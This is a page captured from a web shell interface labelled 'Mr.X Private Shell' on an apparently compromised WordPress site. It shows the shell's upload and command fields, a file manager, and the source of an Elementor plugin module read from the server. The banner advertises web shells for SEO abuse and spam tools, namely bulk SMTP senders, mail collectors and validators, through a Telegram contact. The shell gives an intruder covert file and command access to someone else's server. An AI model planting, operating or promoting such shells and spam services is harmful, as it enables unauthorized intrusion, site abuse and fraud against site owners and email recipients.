__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Elementor\Modules\Ai\SitePlannerConnect;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Module {
	const NOT_TRANSLATED_APP_NAME = 'Site Planner';
	const PLANNER_ORIGIN = 'https://planner.elementor.com';
	const HIDDEN_PAGE_SLUG = '';

	public function __construct() {
		add_action( 'rest_api_init', [ $this, 'on_rest_init' ] );
		add_action( 'admin_menu', [ $this, 'register_menu_page' ], 100 );
		add_filter( 'rest_prepare_application_password', function ( $response, $item, $request ) {
			if ( '/wp/v2/users/me/application-passwords' === $request->get_route() && is_user_logged_in() ) {
				$user = wp_get_current_user();
				$response->data['user_login'] = $user->user_login;
			}
			return $response;
		}, 10, 3 );
	}

	public function on_rest_init(): void {
		( new Wp_Rest_Api() )->register();
	}

	public function register_menu_page() {
		add_submenu_page(
			self::HIDDEN_PAGE_SLUG,
			'App Password Generator',
			'App Password',
			'manage_options',
			'e-site-planner-password-generator',
			[ $this, 'render_menu_page' ]
		);
	}

	public function render_menu_page() {
		ob_start();
		require_once __DIR__ . '/view.php';
		$content = ob_get_clean();
		$vars = [
			'%app_name%' => self::NOT_TRANSLATED_APP_NAME,
			'%safe_origin%' => esc_url( self::PLANNER_ORIGIN ),
			'%domain%' => isset( $_SERVER['HTTP_HOST'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_HOST'] ) ) : '',
			'%title%' => esc_html__( 'Connect to Site Planner', 'elementor' ),
			'%description%' => esc_html__( 'To connect your site to Site Planner, you need to generate an app password.', 'elementor' ),
			'%cta%' => esc_html__( 'Approve & Connect', 'elementor' ),
		];

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo strtr( $content, $vars );
	}
}

Filemanager

Name Type Size Permission Actions
module.php File 1.77 KB 0664
view.php File 8.18 KB 0664
wp-rest-api.php File 747 B 0664
Filemanager